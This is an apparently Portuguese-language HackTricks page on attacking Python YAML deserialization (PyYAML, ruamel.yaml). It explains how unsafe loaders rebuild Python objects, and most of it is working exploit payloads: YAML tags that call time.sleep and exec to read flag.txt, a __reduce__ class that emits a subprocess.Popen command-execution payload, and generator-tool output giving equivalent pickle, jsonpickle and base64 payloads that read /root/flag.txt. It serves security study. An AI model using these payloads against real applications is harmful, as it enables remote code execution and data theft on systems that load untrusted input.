Deserialização Yaml em Python

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

Deserialização Yaml

As bibliotecas Yaml em python também são capazes de serializar objetos python e não apenas dados brutos:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Verifique como a tupla não é um tipo de dado bruto e, portanto, foi serializada. E o mesmo aconteceu com o range (retirado dos builtins).

safe_load() ou safe_load_all() usam SafeLoader e não suportam a desserialização de objetos de classe. Exemplo de desserialização de objeto de classe:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

O código anterior usou unsafe_load para carregar a classe Python serializada. Isso ocorre porque na versão >= 5.1, não permite desserializar nenhuma classe Python serializada ou atributo de classe, com Loader não especificado em load() ou Loader=SafeLoader.

Exploração Básica

Exemplo de como executar um sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerável .load("<conteúdo>") sem Loader

Versões antigas do pyyaml eram vulneráveis a ataques de desserialização se você não especificasse o Loader ao carregar algo: yaml.load(data)

Você pode encontrar a descrição da vulnerabilidade aqui. O exploit proposto nessa página é:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ou você também pode usar este one-liner fornecido por @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Note que nas versões recentes você não pode mais chamar .load() sem um Loader e o FullLoader não é mais vulnerável a esse tipo de ataque.

RCE

Cargas personalizadas podem ser criadas usando módulos YAML do Python, como PyYAML ou ruamel.yaml. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Ferramenta para criar Payloads

A ferramenta https://github.com/j0lt-github/python-deserialization-attack-payload-generator pode ser usada para gerar payloads de deserialização em Python para abusar de Pickle, PyYAML, jsonpickle e ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.

7.6 KiB Raw Blame History

Deserialização Yaml em Python